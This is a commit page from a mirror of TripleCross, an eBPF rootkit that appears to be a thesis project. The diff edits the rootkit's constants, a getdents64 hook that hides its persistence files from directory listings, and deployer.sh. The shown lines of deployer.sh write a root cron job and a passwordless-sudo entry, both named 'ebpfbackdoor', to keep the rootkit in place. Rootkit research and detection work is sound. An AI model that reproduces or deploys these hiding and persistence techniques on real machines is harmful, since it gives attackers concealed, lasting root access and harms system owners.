admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-28 12:23:06 +08:00
Code Issues Packages Projects Releases Wiki Activity

Completed chapter 4

Browse Source
This commit is contained in:
h3xduck
2022-06-16 20:38:15 -04:00
parent 7f4209299c
commit 2b719ff0a5
13 changed files with 21296 additions and 21655 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
src/.output/kit.o
View File

Binary file not shown.

42654
src/.output/kit.skel.h
View File

File diff suppressed because it is too large Load Diff

BIN
src/bin/kit
View File

Binary file not shown.

2
src/common/constants.h
View File

@@ -24,7 +24,7 @@
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1
#define EXEC_HIJACK_ACTIVE_TEMP 0
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

6
src/ebpf/include/bpf/fs.h
View File

@@ -278,8 +278,6 @@ static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_e
return 0;
}
struct linux_dirent64 *d_entry;
__u64 *stored_data = bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
if (stored_data == NULL){
//Nothing for this process
@@ -302,13 +300,11 @@ static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_e
}
struct linux_dirent64 *d_entry = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
__u16 d_reclen;
__u16 d_name_len;
char d_name[128];
bpf_probe_read(&d_reclen, sizeof(__u16), &d_entry->d_reclen);
//bpf_printk("Record length: %d\n", d_reclen);
char d_type;
bpf_probe_read(&d_type, sizeof(d_type), &d_entry->d_type);
d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
int err = bpf_probe_read_user(&d_name, 128, d_entry->d_name);
if (err!=0){
//Ignore this entry, error
@@ -337,7 +333,7 @@ static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_e
}
//This hides files which achieve the persistence of the rootkit, so better not to be shown
bpf_printk("FILE: d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);
bpf_printk("FILE: d_reclen: %d, d_name: %s", d_reclen, d_name);
if(previous_dir != NULL){
if(str_n_compare(d_name, sizeof(SECRET_FILE_PERSISTENCE_NAME)-1, SECRET_FILE_PERSISTENCE_NAME, sizeof(SECRET_FILE_PERSISTENCE_NAME)-1, sizeof(SECRET_FILE_PERSISTENCE_NAME)-1)==0){
__u16 prev_reclen;

4
src/helpers/deployer.sh
View File

@@ -39,7 +39,7 @@ quiet(){
#Start of script
echo "*******************************************************\n"
echo "************************* TFG *************************\n"
echo "********************* TripleCross *********************\n"
echo "*******************************************************\n"
echo "***************** Marcos Sánchez Bajo *****************\n"
echo "*******************************************************\n"
@@ -59,7 +59,7 @@ else
/bin/sudo "$BASEDIR"/kit -t enp0s3
fi
## Install a backdoor in cron.d
## Persistence
echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor